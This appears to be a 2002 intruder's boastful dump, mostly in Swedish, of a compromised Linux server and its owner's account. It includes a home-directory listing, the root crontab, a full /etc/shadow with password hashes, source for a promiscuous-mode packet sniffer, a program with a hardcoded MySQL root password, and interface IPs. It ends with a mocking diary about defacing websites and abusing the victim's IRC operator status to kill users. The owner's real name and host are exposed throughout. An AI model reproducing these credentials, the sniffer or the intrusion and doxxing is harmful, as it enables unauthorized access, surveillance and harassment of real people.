-rw-r--r--   1 spacedmp spacedmp  3957374 Jan  3  2002 ronny_&_ragge_-_rara_s�ta_anna.mp3
-rw-r--r--   1 spacedmp spacedmp     5710 Jan  3  2002 orion.nfo
-rw-r--r--   1 spacedmp spacedmp   490927 Jan  3  2002 ornfb2b2.zip
-rw-r--r--   1 spacedmp spacedmp      601 Jan  3  2002 kernel-fbsd
-rw-r--r--   1 spacedmp spacedmp     4266 Jan  4  2002 tgrep.log
-rw-r--r--   1 spacedmp spacedmp     4758 Jan  4  2002 tgrep.log.host-to-ip
-rw-r--r--   1 spacedmp spacedmp      121 Jan  6  2002 k-lines
drwxrwxr-x   2 spacedmp spacedmp     1024 Jan  6  2002 franvaro
-rw-r--r--   1 spacedmp spacedmp   314296 Jan  7  2002 phpMyAdmin-2.2.3-php.tar.gz
-rw-r--r--   1 spacedmp spacedmp      138 Jan  7  2002 compaq
drwxr-xr-x   5 root     root         1024 Jan  9  2002 Anna
drwxr-xr-x   2 spacedmp spacedmp     1024 Jan 11  2002 msn
-rw-r--r--   1 spacedmp spacedmp       46 Jan 11  2002 test.irc
-rw-r--r--   1 spacedmp spacedmp 66786963 Jan 11  2002 Sverigekartan_Version_3.0_Lantmateriet_SWEDiSH.zip
-rw-r--r--   1 spacedmp spacedmp  1163309 Jan 13  2002 pang.mpg
drwxr-xr-x   2 spacedmp spacedmp     1024 Jan 15  2002 remove
-rw-r--r--   1 spacedmp spacedmp     9581 Jan 15  2002 passwd
-rw-r--r--   1 spacedmp spacedmp      687 Jan 15  2002 sshd_config
drwxr-xr-x   3 spacedmp spacedmp     1024 Jan 15  2002 exploit
drwxr-xr-x   5 spacedmp spacedmp     1024 Jan 15  2002 tester
drwxr-xr-x   2 spacedmp spacedmp     1024 Jan 15  2002 logs
-rw-r--r--   1 spacedmp spacedmp   169616 Jan 18  2002 adodb171.tgz
-rw-r--r--   1 spacedmp spacedmp  2033661 Jan 18  2002 Duke_Nukem_3D_-_Theme_Song.mp3
drwxr-xr-x   2 spacedmp spacedmp     1024 Jan 19  2002 css
-rw-r--r--   1 spacedmp spacedmp      688 Jan 19  2002 logrotate
drwxrwxr-x   2 spacedmp spacedmp     1024 Jan 20  2002 samtalspec
-rw-r--r--   1 spacedmp spacedmp    57201 Jan 24  2002 .ircrc.new
-rw-r--r--   1 spacedmp spacedmp     2326 Jan 29  2002 nu-users
-rw-r--r--   1 spacedmp spacedmp      990 Jan 29  2002 nu-users.scan
-rw-rw-r--   1 spacedmp spacedmp   614697 Jan 29  2002 poslog10.txt
-rw-rw-r--   1 spacedmp spacedmp   593392 Jan 30  2002 poslog20020130.txt
-rw-rw-r--   1 spacedmp spacedmp   567118 Jan 30  2002 poslog20020130-gottsunda-granbyc-gottsunda.txt
-rw-r--r--   1 spacedmp spacedmp       93 Jan 31  2002 GIS
-rw-r--r--   1 spacedmp spacedmp       45 Feb  4  2002 _fjortisar
-rw-r--r--   1 spacedmp spacedmp       45 Feb  4  2002 .fjortisar
-rw-r--r--   1 spacedmp spacedmp       14 Feb  5  2002 brute
drwxr-xr-x   2 spacedmp spacedmp     1024 Feb  5  2002 pos
-rw-r--r--   1 spacedmp spacedmp    47322 Feb  8  2002 data.log
-rw-r--r--   1 spacedmp spacedmp    81899 Feb  8  2002 acid-0.9.6b12.tar.gz
drwxr-xr-x  35 spacedmp spacedmp     1024 Feb 10  2002 src
drwxr-xr-x   2 spacedmp spacedmp     2048 Feb 10  2002 adodb
drwxr-xr-x   4 spacedmp spacedmp     1024 Feb 10  2002 phplot
-rw-r--r--   1 spacedmp spacedmp  2002639 Feb 12  2002 webmailen.tgz
drwxr-xr-x   2 spacedmp spacedmp     1024 Feb 14  2002 tmpdl
-rw-r--r--   1 spacedmp spacedmp    10017 Feb 16  2002 wget.doit
-rw-r--r--   1 spacedmp spacedmp    44163 Feb 17  2002 lusers.list
drwxr-xr-x   2 spacedmp spacedmp     1024 Feb 17  2002 FreeBSD
-rw-r--r--   1 spacedmp spacedmp     2951 Feb 18  2002 poliskoder.txt
-rw-r--r--   1 spacedmp spacedmp     4068 Feb 20  2002 lj-announce
-rw-r--r--   1 spacedmp spacedmp   697256 Feb 21  2002 warforge.bnetd.v1.14c.tar.gz
-rw-r--r--   1 spacedmp spacedmp    13086 Feb 21  2002 kort1227.gif
-rw-r--r--   1 spacedmp spacedmp   253182 Feb 22  2002 msxml.pas
-rw-r--r--   1 spacedmp spacedmp  8053707 Feb 24  2002 war3.zip
-rw-r--r--   1 spacedmp spacedmp     1178 Mar  1  2002 djdjdjfjkklfs
-rw-r--r--   1 spacedmp spacedmp    37812 Mar  2  2002 #bimbopojkarna.IRCNet.20020302.log
-rw-r--r--   1 spacedmp spacedmp    24005 Mar  5  2002 T61andT62.gif
-rw-r--r--   1 spacedmp spacedmp   344576 Mar  6  2002 after.vsd
-rw-r--r--   1 spacedmp spacedmp   484864 Mar  6  2002 before.vsd
-rw-r--r--   1 spacedmp spacedmp     5197 Mar  9  2002 ulug-provo-hemsa.zip
-rwxr-xr-x   1 spacedmp spacedmp       32 Mar 10  2002 nisse.sh
-rw-r--r--   1 spacedmp spacedmp     1336 Mar 10  2002 burken.log
-rw-r--r--   1 spacedmp spacedmp    15262 Mar 12  2002 pinerc016343
-rw-r--r--   1 spacedmp spacedmp    19456 Mar 15  2002 processorhastigheter.doc
-rw-r--r--   1 spacedmp spacedmp    40526 Mar 18  2002 buglist.cgi?bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&bug_severity=critical&bug_severity=major&bug_severity=normal&bug_severity=minor
-rw-r--r--   1 spacedmp spacedmp       58 Mar 21  2002 remshit.sh
-rw-r--r--   1 spacedmp spacedmp  1302042 Mar 23  2002 arla-0.35.7.tar.gz
-rw-r--r--   1 spacedmp spacedmp    13926 Mar 27 15:31 anm.cgi
drwxrwxr-x   2 spacedmp spacedmp     1024 Mar 29 09:39 t-shirt
-rw-rw-r--   1 spacedmp spacedmp    33306 Apr  1 18:03 selfverification.tar.gz
-rw-r--r--   1 spacedmp spacedmp        9 Apr  3 12:30 nisseroot
-rw-r--r--   1 spacedmp spacedmp  1138398 Apr  3 22:09 squirrelmail-1.2.5.tar.bz2
drwx------   2 spacedmp spacedmp     4096 Apr  8 07:57 SolveIT
drwxr-xr-x   2 spacedmp spacedmp     1024 Apr  9 07:46 tetetetete
drwxr-xr-x   3 spacedmp spacedmp     1024 Apr 10 08:44 hack
-rw-r--r--   1 spacedmp spacedmp   443244 Apr 13 19:09 DSC00013.JPG
-rw-r--r--   1 spacedmp spacedmp     3339 Apr 15 00:35 phoogle.tar.gz
-rw-r--r--   1 spacedmp spacedmp    10456 Apr 24 20:02 tfl.nfo
drwxr-xr-x   2 spacedmp spacedmp     1024 Apr 28 19:53 .mc
-rw-r--r--   1 spacedmp spacedmp    14832 May  5 10:47 netstat.out
drwxr-xr-x   2 spacedmp spacedmp     1024 May  5 14:10 tmptmp
-rw-r--r--   1 spacedmp spacedmp  3792330 May 12 09:21 R._Kelly_-_The_World's_Greatest07.mp3
-rw-rw-r--   1 spacedmp spacedmp    16463 May 12 13:24 shell-linux-se-FAQ.htm
-rw-r--r--   1 spacedmp spacedmp 10401669 May 20 21:01 Delerium_-_Semantic_Spaces_-_07_-_Flatlands.mp3
-rw-r--r--   1 spacedmp spacedmp   495065 May 21 18:15 phpBB-2.0.1.tar.gz
drwxrwxr-x   2 spacedmp spacedmp     1024 May 21 23:19 mp3-tracit
drwxr-xr-x   2 spacedmp spacedmp     1024 May 22 10:23 clones
-rw-r--r--   1 root     root         4287 May 25 15:15 spam-mail
-rw-r--r--   1 root     root          112 Jun  2 13:19 .bashrc
-rw-------   1 spacedmp spacedmp   767260 Jun  9 13:40 ircnet-who.log
-rw-r--r--   1 spacedmp spacedmp     8404 Jun  9 20:56 hardcopy.0
-rw-r--r--   1 spacedmp spacedmp   700700 Jun 12 20:14 phpBB.dump
-rw-r--r--   1 spacedmp spacedmp     3429 Jun 14 09:44 azer_06_14_02.txt
-rw-r--r--   1 spacedmp spacedmp      122 Jun 15 17:19 compaq-burk
-rw-rw-rw-   1 spacedmp spacedmp        0 Jun 20 11:40 .nfs344cd43900014237
-rw-rw-rw-   1 spacedmp spacedmp        0 Jun 23 00:18 .nfs344cd60d0001750f
-rw-r--r--   1 spacedmp spacedmp     2920 Jun 25 15:38 rzr-wc3.006
drwxr-xr-x   2 spacedmp spacedmp     1024 Jun 27 22:46 dkdkdkdkdkdd
-rw-------   1 spacedmp spacedmp      194 Jun 30 11:09 .cvspass
-rw-r--r--   1 spacedmp spacedmp  2934646 Jun 30 12:08 screenlog.4
-rw-r--r--   1 spacedmp spacedmp       49 Jul  1 22:22 menuback.gif
-rw-r--r--   1 spacedmp spacedmp     1422 Jul  6 15:25 mailen.txt
-rw-r--r--   1 spacedmp spacedmp       23 Jul 19 15:23 .htpasswd-cam
drwxr-xr-x  22 spacedmp spacedmp     1024 Jul 24 12:34 coding
-rw-r--r--   1 spacedmp spacedmp   484674 Jul 27 14:08 snapshot1.png
-rw-r--r--   1 spacedmp spacedmp   181169 Aug  7 11:18 putty-guide.zip
-rw-r--r--   1 spacedmp spacedmp      404 Aug  7 13:39 putty-latest.zip
-rw-r--r--   1 spacedmp spacedmp   188353 Aug  7 13:41 putty.zip
drwxr-xr-x   2 spacedmp spacedmp     1024 Aug  7 13:42 nissenisse
drwxr-xr-x   2 spacedmp spacedmp     1024 Aug 10 09:39 solveit
-rw-r--r--   1 spacedmp spacedmp 25313280 Aug 10 11:02 spacedmp.oldlaptop
drwxr-xr-x   3 spacedmp spacedmp     1024 Aug 10 11:02 oldlaptop
-rw-r--r--   1 spacedmp spacedmp     1977 Aug 17 18:59 zatzy-sd
drwxr-xr-x   4 spacedmp spacedmp     1024 Aug 23 22:04 .irc
-rw-r--r--   1 root     root        26955 Aug 24 13:24 evonite.maillog
-rw-------   1 spacedmp spacedmp    39761 Aug 25 01:24 ludd-klines
-rw-------   1 spacedmp spacedmp   204906 Sep  1 18:16 .pine-debug4
-rw-r--r--   1 spacedmp spacedmp        0 Sep  3 00:30 mrtg.new.cfg_l_3272
-rw-r--r--   1 spacedmp spacedmp        0 Sep  3 00:31 mrtg.new.cfg_l_3431
-rw-r--r--   1 spacedmp spacedmp        0 Sep  3 00:52 mrtg.new.cfg_l_1034
-rw-r--r--   1 spacedmp spacedmp        0 Sep  3 01:00 mrtg.new.cfg_l_949
-rw-r--r--   1 spacedmp spacedmp        0 Sep  3 01:00 mrtg.new.cfg_l_915
-rw-r--r--   1 spacedmp spacedmp        0 Sep  3 01:00 mrtg.new.cfg_l_826
-rw-r--r--   1 spacedmp spacedmp        0 Sep  3 01:00 mrtg.new.cfg_l_756
-rw-r--r--   1 spacedmp spacedmp        0 Sep  3 01:00 mrtg.new.cfg_l_741
-rw-rw-rw-   1 spacedmp spacedmp        0 Sep  5 16:50 mrtg.new.cfg_l
-rw-r--r--   1 spacedmp spacedmp    15262 Sep  5 20:13 .pinerc
-rw-------   1 spacedmp spacedmp   138705 Sep  7 19:46 .pine-debug3
-rw-r--r--   1 spacedmp spacedmp     6542 Sep  8 21:48 sballo-hosts
drwxr-xr-x   2 spacedmp spacedmp     1024 Sep 10 15:15 tetetest
-rw-------   1 spacedmp spacedmp   201092 Sep 10 16:52 .pine-debug2
-rw-------   1 spacedmp spacedmp    10568 Sep 11 14:03 sverigetail.log
drwxr-xr-x   2 spacedmp spacedmp     2048 Sep 13 23:58 dl
-rw-r--r--   1 spacedmp spacedmp       47 Sep 16 15:57 comhem-koder
drwxr-xr-x   2 spacedmp spacedmp     1024 Sep 17 18:22 .ncftp
-rw-------   1 spacedmp spacedmp    73058 Sep 17 18:22 anna.log
-rw-r--r--   1 spacedmp spacedmp     1236 Sep 19 12:39 .sieve
-rw-------   1 spacedmp spacedmp  8324532 Sep 19 22:53 efnet.log
-rw-------   1 spacedmp spacedmp   110103 Sep 20 14:26 solveit.log
-rw-------   1 spacedmp spacedmp   201406 Sep 20 19:49 .pine-debug1
-rw-r--r--   1 spacedmp spacedmp   198991 Sep 21 00:15 doc.tar
-rw-------   1 spacedmp spacedmp 858073180 Sep 21 09:38 ircnet.log
-rw-r--r--   1 spacedmp spacedmp   198185 Sep 21 10:02 doc.tgz
drwxrwx--x 148 spacedmp spacedmp    10240 Sep 21 10:02 public_html
-rw-r--r--   1 spacedmp spacedmp       14 Sep 22 10:45 djurvall.txt
-rw-------   1 spacedmp spacedmp    14165 Sep 22 19:13 dead.letter
-rw-------   1 spacedmp spacedmp   120202 Sep 22 21:21 .mysql_history
-rw-r-----   1 spacedmp spacedmp     7516 Sep 22 21:21 .bash_history
drwx------   2 spacedmp spacedmp     1024 Sep 22 22:50 mail
drwxrwx--x 167 spacedmp spacedmp    75776 Sep 22 22:50 .
drwxr-xr-x   5 root     root            0 Sep 23 00:50 ..

#
# F�r fan, hyr en st�dfirma som rensar $HOME din j�vla geek
#
# Ey, Nisseman@IRC - Spacedump hatar dig :-)
# Holmen - spacedump gillar inte dig heller
# Massor av ircloggar  - #droger ligger illa till.
#
# :DDDDDDDDDDDDDDDDD
# Den h�r katalogen har stuff till en hel bok med bilder p� en h�g
# Sanna, bilder p� fjortisar som visar br�stv�rter, ircloggar,
# lunarstorm-konto. . . :DDDDDDDDDDD
#
# home-spacedmp.tar.gz kommer s�ljas p� CD-skivor @ blocket.se
#


$ tail ircnet.log
*** No O-lines for your host
[ 11,0109:34:54 15,1] Nickname: SpaceDump
[ 11,0109:34:54 15,1]    n 3,01! 15,01u 6,01@ 15,1h: SpaceDump 3,01! 15,1spacedmp 6,01@ 15,1SpaceDump.PP.SE
[ 11,0109:34:54 15,1] Realname: Anders Olausson
[ 11,0109:34:54 15,1] Channels: #socs
[ 11,0109:34:54 15,1]   Server: irc.swipnet.se
[ 11,0109:34:54 15,1]     Info: SWIPnet (Tele2 Sweden AB (Tele2 AB))
[ 11,0109:34:54 15,1] SpaceDump has been idle for 7 seconds
[ 11,0109:34:54 15,1] End of whois
IRC log ended Sat Sep 21 09:34:56 2002


# Ok, elajt


$ cd /var/spool/mail


#
# r3ad1ng j00r e-m41l, h4wh4wh4wh4w
#

$ ls -alrt
total 16
-rw-rw----   1 root     mail         7429 Jun 21  2000 root
drwxr-xr-x  13 root     root         4096 Mar 16  2002 ..
drwxrwxrwt   2 root     mail         4096 Mar 31 11:29 .
$ cat root

  .......

Welcome! Glad to see you've made it this far! :^)

  .......


Have fun!

---
Patrick Volkerding
[email protected]

  .......


# Jaja, nu vet vi i alla fall att vi har root p� en slackwareburk


$ host -t mx burken.nu
burken.nu mail is handled (pri=5) by mail-gw.spacedump.pp.se
$ host mail-gw.spacedump.pp.se
mail-gw.spacedump.pp.se has address 194.236.124.30


# Ajd� ;<
# Mail finns p� en annan burk


$ uname -a
Linux fs02 2.4.9 #1 SMP Thu Aug 23 18:44:06 CEST 2001 i686 unknown
$ crontab -l &
# If you don't want the output of a cron job mailed to you, you have to direct
# any output to /dev/null.  We'll do this here since these jobs should run
# properly on a newly installed system, but if they don't the average newbie
# might get quite perplexed about getting strange mail every 5 minutes. :^)
#
# Run the 'atrun' program every 5 minutes
# This runs anything that's due to run from 'at'. See man 'at' or 'atrun'.
# Note that this is commented out since it's not needed if you run atd.  But,
# it's left as an example, since atd isn't strictly required.  You can still
# run it this way instead.
#0,5,10,15,20,25,30,35,40,45,50,55 * * * *	/usr/sbin/atrun 1> /dev/null 2> /dev/null
#
# This touches a filename in the temp directory so that you can see cron is
# working if the timestamp is current. Comment it out if it bugs you. :^)
# * * * * *       touch /tmp/.crond_running
0 3 * * *	/root/scripts/xmms-backup 1> /dev/null 2> /dev/null

#0,30 * * * *	/usr/apps/rsync/2.4.6/bin/rsync -avzC --delete --delete-after rsync.php.net::phpweb /usr/web/webs/se2.php.net
#15 2 * * *	/usr/apps/rsync/2.4.6/bin/rsync -rtlzv --delete --exclude incoming dev.apache.org::apache-site /usr/web/webs/www.apache.org
0 2 * * *	/usr/apps/rsync/2.4.6/bin/rsync -avzC --delete --delete-after rsync.php.net::phpweb /export/vol2/webs/se2.php.net
#15 2 * * *	/usr/apps/rsync/2.4.6/bin/rsync -rtlzv --delete --exclude incoming dev.apache.org::apache-site /export/vol2/webs/www.apache.org

# ftp-mirrors
15 1 * * *	/root/mirror/mirror /root/mirror/packages/ftp.epicsol.org

# www3.se.postgresql.org
30 12 * * *	/usr/apps/rsync/2.4.6/bin/rsync -avz --progress --stats --rsh=/usr/bin/rsh --delete rsync.postgresql.org::pgsql-www/ /export/vol2/webs/www3.se.postgresql.org/
30 0 * * *	/usr/apps/rsync/2.4.6/bin/rsync -avz --progress --stats --rsh=/usr/bin/rsh --delete rsync.postgresql.org::pgsql-www/ /export/vol2/webs/www3.se.postgresql.org/

0 0 * * mon	/usr/web/bin/apachectl graceful

#
# Aha - det var ju hygglo att starta om Apache till oss just inatt
# Kombinationen av logfilerna och detta cronjobet �r mycket vackert.
#

$ cd /root/src
$ ls -l
total 40
drwxr-xr-x   2 spacedmp spacedmp     4096 Sep  7 02:10 chkrootkit-pre-0.36
drwxr-xr-x  14 mysql    mysql        4096 Jun 30 09:54 cvs-1.11.2
drwxr-xr-x  22 38579    wheel        4096 May 24  2000 cyrus-imapd-1.6.24
drwxr-xr-x  15 utah     30           4096 Sep  5 15:43 krb4-1.1.1
drwxr-xr-x   9 mysql    users        4096 Jan 11  2002 libtool-1.4.2
drwxr-xr-x   3 root     root         4096 Jan 16  2002 lsof
drwxr-xr-x   7 mysql    mysql        8192 Sep 15 21:38 openssh-3.4p1
drwxr-xr-x  15 274      wheel        4096 Sep 15 21:37 ucd-snmp-4.2.5
drwxr-xr-x   5 root     root         4096 Aug 25 21:29 www


# Lille v�n, chkrootkit funkar bara om man blir �gd av kiddies


$ cat /etc/shadow
root:7yZxF1iGqXeH.:11616:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
gdm:*:9797:0:::::
linux:11oNFsK5/97YU:11617:0:::::
bbuser:dm6lHDjg1/8hM:11643:0:::::
nobody:*:9797:0:::::
warez:7yZxF1iGqX:11770:0:::::
annamp3:halFIc6xVVpN6:11770:0:::::
ntadmin:!:11915:0:99999:7:::
sdlaptop$:!:11915:0:99999:7:::
burken-oxv7pnpq$:!:11916:0:99999:7:::
puff$:!:11916:0:99999:7:::
fs03$:!:11916:0:99999:7:::
sd-lfs:/Qs1Tf3YU5VaE:11933:0:99999:7:::


# NIS+ :-(


$ cd /root/coding
$ ls -lart
total 20
drwxr-xr-x  10 root     bin          4096 Dec  8  2001 irc2.10.3p3
drwxr-xr-x   2 root     root         4096 Dec 12  2001 sniff
drwx--x---  17 root     root         4096 Sep 20 15:37 ..
drwxr-xr-x   5 root     root         4096 Sep 22 15:55 .
drwxr-xr-x   2 root     root         4096 Sep 22 17:05 system-files
$ cd sniff
$ ls -alrt
total 28
-rw-r--r--   1 root     root         2420 Dec 12  2001 sniff.c
-rwxr-xr-x   1 root     root        13481 Dec 12  2001 sniff
drwxr-xr-x   2 root     root         4096 Dec 12  2001 .
drwxr-xr-x   5 root     root         4096 Sep 22 15:55 ..
$ cat sniff.c
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/in.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <sys/ioctl.h>

int main() {
  int sock, n, i;
  int q;
  char buffer[2048];
  struct ifreq ethreq;
  unsigned char *iphead, *ethhead;

  if ((sock  = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)))<0) {
    perror("socket");
    exit(1);
  }

  strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
  if (ioctl(sock,SIOCGIFFLAGS,&ethreq)==-1) {
    perror("ioctl");
    close(sock);
    exit(1);
  }
  ethreq.ifr_flags|=IFF_PROMISC;
  if (ioctl(sock,SIOCSIFFLAGS,&ethreq)==-1) {
    perror("ioctl");
    close(sock);
    exit(1);
  }

  i = 0;
  while (1) {
    n = recvfrom(sock,buffer,2048,0,NULL,NULL);
//    printf("%d bytes read\n", n);

    if (n<42) {
      perror("recvfrom():");
      printf("Incomplete packet (errno is %d)\n", errno);
      close(sock);
      exit(0);
    }



    ethhead = buffer;
    iphead= buffer+14;
//  if ((iphead[20]<<8)+iphead[21] == 80) {

//    printf("%04d ", n);
//    printf("%02x:%02x:%02x:%02x:%02x:%02x",
//           ethhead[0],ethhead[1],ethhead[2],
//           ethhead[3],ethhead[4],ethhead[5]);
//    printf(" > ");
//    printf("%02x:%02x:%02x:%02x:%02x:%02x",
//           ethhead[6],ethhead[7],ethhead[8],
//           ethhead[9],ethhead[10],ethhead[11]);

//    printf(" ");

    if (*iphead==0x45) {
//      if ((iphead[22]<<8)+iphead[23] == 80) {

      if ((iphead[12] == 66 && iphead[13] == 70 && iphead[14] == 155 && iphead[15] == 126) || (iphead[16] == 66 && iphead[17] == 70 && iphead[18] == 155 && iphead[19] == 126)) {
//      if (iphead[16] == 194 && iphead[17] == 236 && iphead[18] == 124 && iphead[19] == 44 && (iphead[22]<<8)+iphead[23] == 80) {

          printf("%03d.%03d.%03d.%03d:%05d",
               iphead[12],iphead[13],iphead[14],iphead[15],
               (iphead[20]<<8)+iphead[21]);
        printf(" > ");
        printf("%03d.%03d.%03d.%03d:%05d",
               iphead[16],iphead[17],iphead[18],iphead[19],
               (iphead[22]<<8)+iphead[23]);

        printf("\n");

        for (q=0;q<n;q++) {
          if (buffer[q] > '\32' && buffer[q] < '\170') {
            printf("%c", buffer[q]);
          } else {
            printf(".");
          }
        }

        printf("\n");
      }

//      }
//    }

//    printf("\n");

  }

  }

}


# /* no comment */


$ cd ..
$ ls
irc2.10.3p3
sniff
system-files
$ cd sys*
$ ls -la
total 28
drwxr-xr-x   2 root     root         4096 Sep 22 17:05 .
drwxr-xr-x   5 root     root         4096 Sep 22 15:55 ..
-rwxr-xr-x   1 root     root        13515 Sep 22 17:05 system-files
-rw-r--r--   1 root     root          837 Sep 22 17:05 system-files.c
$ cat *.c

#include <mysql/mysql.h>
#include <stdio.h>

int main() {
  MYSQL SQLCONN;
  MYSQL_RES *SQLRES;
  MYSQL_ROW SQLROW;
  unsigned int num_fields;
  unsigned int num_rows;
  unsigned int i;
  char SQL_QUERY[512];

  sprintf(SQL_QUERY, "SELECT * FROM tbl_passwd ORDER BY PASSWD_UID");

  mysql_init(&SQLCONN);
  mysql_real_connect(&SQLCONN, "localhost", "root", "nattis", "_system", 0, NULL, 0);
  if (!mysql_real_query(&SQLCONN, SQL_QUERY, sizeof(SQL_QUERY))) {
    SQLRES = mysql_store_result(&SQLCONN);
    num_fields = mysql_num_fields(SQLRES);
    num_rows = mysql_num_rows(SQLRES);
    printf("Num fields: %d Num rows: %d\n", num_fields, num_rows);
    while (SQLROW = mysql_fetch_row(SQLRES)) {
      printf("%s:x:%s:%s:%s:%s:/bin/false\n", SQLROW[0], SQLROW[2], SQLROW[3], SQLROW[4], SQLROW[5]);
    }
  }

  mysql_close(&SQLCONN);
}


#
# Rootpass, rootpass.. H�r var det rootpass. N�n som vill ha rootpass?
# Borde man inte vara mer f�rsiktig med sina c0d3z?
#


$ cd /home/spaced*
$ cd .irc*
$ ls -alrt
total 409
-rw-r--r--   1 spacedmp spacedmp      867 Dec 27  1999 nickretreive.irc
-rw-r--r--   1 spacedmp spacedmp     1252 Jul 16  2000 hg.irc
-rw-r--r--   1 spacedmp spacedmp      881 Oct  9  2000 sd.oper
-rw-r--r--   1 spacedmp spacedmp     1379 Oct 11  2000 tgrep.irc
-rw-r--r--   1 spacedmp spacedmp      312 Oct 19  2000 mop.irc
-rw-r--r--   1 spacedmp spacedmp      476 Dec 27  2000 autopartuppsala.irc
-rw-r--r--   1 spacedmp spacedmp     1901 Jan  2  2001 tversion.irc
-rw-r--r--   1 spacedmp spacedmp     1348 Mar 17  2001 botfinder.irc
-rw-r--r--   1 spacedmp spacedmp    17827 Apr  7  2001 clients
-rw-r--r--   1 spacedmp spacedmp    45149 Apr  7  2001 clients.reply
-rw-------   1 spacedmp spacedmp    34155 Apr  7  2001 botfinder.logfile
-rw-r--r--   1 spacedmp spacedmp      621 Jun 26  2001 wcs.irc
-rw-r--r--   1 spacedmp spacedmp     1234 Jul 14  2001 sd-operview.irc
-rw-r--r--   1 spacedmp spacedmp     5887 Oct  1  2001 sd.operit
-rw-r--r--   1 spacedmp spacedmp      802 Nov  5  2001 igrep.irc
-rw-r--r--   1 spacedmp spacedmp    38239 Dec 18  2001 sd.irc.old
-rw-r--r--   1 spacedmp spacedmp      245 Dec 22  2001 sd2.irc
-rw-r--r--   1 spacedmp spacedmp       63 Dec 31  2001 sd-menu
-rw-r--r--   1 spacedmp spacedmp      335 Jan  1  2002 tabcomplete.irc
-rw-r--r--   1 spacedmp spacedmp      840 Jan  4  2002 kgrep.irc.old
-rw-r--r--   1 spacedmp spacedmp      907 Jan  4  2002 kgrep.irc
drwxr-xr-x   3 spacedmp spacedmp     1024 Jan 12  2002 bot
-rw-r--r--   1 spacedmp spacedmp     1411 Feb 14  2002 sd-checkclient.irc
-rw-r--r--   1 spacedmp spacedmp       66 Feb 14  2002 nisse.irc
-rw-r--r--   1 spacedmp spacedmp    39575 Mar 11  2002 sd.irc.backup
drwxr-xr-x   2 spacedmp spacedmp     1024 Mar 11  2002 RCS
-rw-r--r--   1 spacedmp spacedmp    39929 Aug  6 14:01 sd.irc
-rw-r--r--   1 spacedmp spacedmp    39929 Aug  6 14:06 sd-new.irc
-rw-r--r--   1 spacedmp spacedmp    19920 Aug 10 22:46 sd.users.bak
-rw-r--r--   1 spacedmp spacedmp    19942 Aug 23 22:04 sd.users
drwxr-xr-x   4 spacedmp spacedmp     1024 Aug 23 22:04 .
drwxrwx--x 167 spacedmp spacedmp    75776 Sep 22 22:50 ..
$ cd ..
$ ls -ld *ssh*
-rw-------   1 spacedmp spacedmp      978 Jun 17  2000 mysshkey
-rw-r--r--   1 spacedmp spacedmp      642 Jun 17  2000 mysshkey.pub
-rw-r--r--   1 spacedmp spacedmp   303319 Oct 14  1999 ssh-1.2.26-afs-kerberos.patch-1
-rw-r--r--   1 root     root       201673 Mar 22  2000 ssh-1.2.27-afs-kerberos.patch-1
-rw-r--r--   1 spacedmp spacedmp      687 Jan 15  2002 sshd_config
-rw-r--r--   1 spacedmp spacedmp     1020 Sep  6  2000 sshstrul

$ /sbin/ifconfig -a
eth0      Link encap:Ethernet  HWaddr 00:02:B3:2F:59:C6
          inet addr:194.236.124.44  Bcast:194.236.124.63  Mask:255.255.255.224
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:155739796 errors:0 dropped:0 overruns:0 frame:0
          TX packets:187641314 errors:0 dropped:0 overruns:969 carrier:0
          collisions:0 txqueuelen:100
          Interrupt:18

eth0:0    Link encap:Ethernet  HWaddr 00:02:B3:2F:59:C6
          inet addr:194.236.124.45  Bcast:194.236.124.63  Mask:255.255.255.224
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:18

eth0:1    Link encap:Ethernet  HWaddr 00:02:B3:2F:59:C6
          inet addr:194.236.124.46  Bcast:194.236.124.63  Mask:255.255.255.224
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:18

eth0:2    Link encap:Ethernet  HWaddr 00:02:B3:2F:59:C6
          inet addr:194.236.124.47  Bcast:194.236.124.63  Mask:255.255.255.224
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:18

eth0:3    Link encap:Ethernet  HWaddr 00:02:B3:2F:59:C6
          inet addr:194.236.124.38  Bcast:194.236.124.63  Mask:255.255.255.224
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:18

eth0:5    Link encap:Ethernet  HWaddr 00:02:B3:2F:59:C6
          inet addr:194.236.124.42  Bcast:194.236.124.63  Mask:255.255.255.224
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:18

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:16447759 errors:0 dropped:0 overruns:0 frame:0
          TX packets:16447759 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
$ kill -9 $$


#
# Tenta imorgon, dags att samla energi.
# Men vi kommer tillbaka, var s� s�ker p� det.
#


Tack och hej, leverpastej




		Tidigt - L�rdag.

K�ra Dagbok,

Idag hittade jag och mina v�nner p� mer bus med Spacedumps dator, f�rst s�
�ndrade vi lite p� tv� av spacedumps hemsidor.. (www.linux.se och www.xmms.org)
Sen s� hade vi tr�kigt och gick ut och lekte p� IRC med spacedumps
IRC klient. Spacedump �r IRCop och har fet mackt �ver irken!
Givetvis m�ste vi unders�ka detta genom att d�da folk vi f�raktar, folk som
bara �r dumma i huvet och folk som mirkar i mats667's n�rhet

07:50 �f� SignOff tlund: #linux.se (Local Kill by not_here_ (mail -s'all your base are belong to us' [email protected] ))
07:51 �f� SignOff sandyman: #linux.se (Killed (not_here_ (grattis p� 14�rsdagen - //linux.se)))
07:52 �f� SignOff alfonz: #linux.se (Local Kill by not_here_ (haha p� dig med))
07:56 �f� SignOff vader__: #linux.se (Kill line active: Abuse (No childpron on IRCNET, please))
07:57 �f� SignOff mrsaint: #linux.se (Local Kill by not_here_ (mysiga lilla farbror :)))
